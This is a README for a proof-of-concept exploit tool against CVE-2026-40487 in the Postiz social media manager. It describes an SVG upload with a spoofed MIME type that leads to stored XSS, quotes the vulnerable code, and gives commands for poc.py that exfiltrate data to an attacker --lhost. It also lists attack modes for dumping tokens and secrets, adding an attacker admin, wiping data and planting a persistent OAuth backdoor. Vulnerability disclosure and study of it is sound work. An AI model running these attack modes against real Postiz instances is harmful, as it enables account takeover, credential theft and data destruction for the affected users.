astaruf/cve-2026-40487Proof-of-concept exploit for CVE-2026-40487, demonstrating arbitrary file upload via MIME spoofing leading to stored XSS and account takeover in Postiz. Includes multiple attack modes for data exfiltration, privilege escalation, and persistence.
Discovered & reported by: Astaruf
Full writeup: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
GHSA entry: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz is an open-source social media management tool with 28+ platform integrations (Instagram, X, LinkedIn, Facebook, TikTok, etc.), used by 600+ instances exposed on the internet.
A low-privileged attacker can upload a malicious SVG (or HTML) file with a spoofed Content-Type: image/png header. The server accepts the file without inspecting its actual content, preserves the original extension, and nginx serves it with the Content-Type derived from that extension (image/svg+xml). When a victim opens the URL, the embedded JavaScript executes in the application's origin, giving the attacker full session riding capabilities equivalent to account takeover.
The attack chain:
Attacker uploads .svg with Content-Type: image/png
-> Server validates only the Content-Type header (CWE-345)
-> File saved to disk with original .svg extension (CWE-434)
-> nginx serves it as image/svg+xml
-> Browser executes embedded JavaScript (CWE-79)
-> Same-origin: full access to victim's session
The XSS payload executes same-origin with the application. Even though the auth cookie is HttpOnly, fetch() with credentials: "include" automatically attaches it. The attacker can:
pos_* token that never expires and survives password changes)Three components fail independently, creating the exploit chain:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype comes from the Content-Type header in the multipart request, which the attacker controls. No magic byte inspection, no use of libraries like file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extracts the extension from the client-supplied filename. No check for consistency between declared MIME type and extension. The server also returns the full public URL in the response, so the attacker gets the link to send to the victim.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx maps .svg to image/svg+xml, .html to text/html. No Content-Security-Policy, no X-Content-Type-Options: nosniff, no Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Check if target is vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Exfiltrate everything from the victim
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Create a persistent backdoor
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Reuse the token without credentials
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Attacker Server Postiz Victim
| | |
|-- 1. Login/Register -------->| |
|-- 2. Upload SVG malevolo --->| |
|<---- URL del file -----------| |
|-- 3. Send URL to victim ---------------------------> |
| |<--- 4. Opens URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS executes, exfils data -----------|
| Mode | Description |
|---|---|
dump-self | Victim profile, org info, tier, API key |
dump-personal | Display name, bio, profile picture |
dump-integrations | Connected social media integrations and tokens |
dump-posts | Scheduled and draft posts (last 365 days) |
dump-team | Team members, roles, and email addresses |
dump-media | Media library listing |
dump-notifications | Notification history |
dump-signatures | Post signatures |
dump-webhooks | Configured webhooks and their URLs |
dump-oauth-app | OAuth app credentials (clientId, secret) |
dump-copilot | AI copilot conversation threads |
dump-billing | Billing and subscription info |
dump-settings | Shortlink and notification settings |
dump-third-party | Third-party integration configs |
dump-autopost | Autopost rules |
dump-sets | Content sets |
dump-tags | Post tags |
dump-customers | Customer list |
full-dump | All of the above in a single payload |
| Mode | Description |
|---|---|
add-admin | Invite attacker as ADMIN in victim's org (--attacker-email) |
rotate-key | Rotate org API key and exfiltrate it |
rotate-oauth | Rotate OAuth app secret and exfiltrate it |
| Mode | Description |
|---|---|
kill-notifications | Disable all email notifications |
edit-profile | Modify victim's name and bio (--edit-name, --edit-bio) |
wipe-signatures | Delete all post signatures |
wipe-webhooks | Delete all webhooks |
wipe-tags | Delete all tags |
wipe-sets | Delete all content sets |
wipe-autopost | Delete all autopost rules |
logout-victim | Force-logout the victim |
delete-oauth-app | Delete victim's OAuth application |
| Mode | Description |
|---|---|
create-oauth-app | Create OAuth app, auto-approve, exfiltrate persistent pos_* token (--oauth-redirect) |
steal-cookie | Steal auth JWT via document.cookie (when NOT_SECURED=true) |